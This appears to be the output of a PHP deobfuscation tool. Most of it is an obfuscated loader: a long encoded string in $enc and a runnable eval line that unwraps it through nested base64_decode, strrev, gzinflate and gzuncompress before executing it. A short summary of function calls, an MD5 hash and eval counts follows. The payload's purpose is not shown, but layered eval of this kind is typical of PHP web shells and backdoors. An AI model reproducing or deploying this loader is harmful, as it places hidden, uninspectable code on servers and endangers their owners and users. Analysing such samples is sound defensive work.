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';
eval(base64_decode(base64_decode('WlhaaGJDZ2lQejRpTG1kNmRXNWpiMjF3Y21WemN5aG5lblZ1WTI5dGNISmxjM01vWjNwcGJtWnNZWFJsS0dkNmFXNW1iR0YwWlNobmVtbHVabXhoZEdVb1ltRnpaVFkwWDJSbFkyOWtaU2h6ZEhKeVpYWW9KR1Z1WXlrcEtTa3BLU2twT3c9PQ=========')));exit;
?>

Function Calls

strrev 1
gzinflate 3
gzuncompress 2
base64_decode 3

Variables

$enc =ca6G67L5jGwD8PIkeJIIeHyC/8hocLTJwxj4NGza54R6M6lPoGVyFc/idIu..

Stats

MD5 27fd50b8cd56c41245c95e1354e6581c
Eval Count 2
Decode Time 74 ms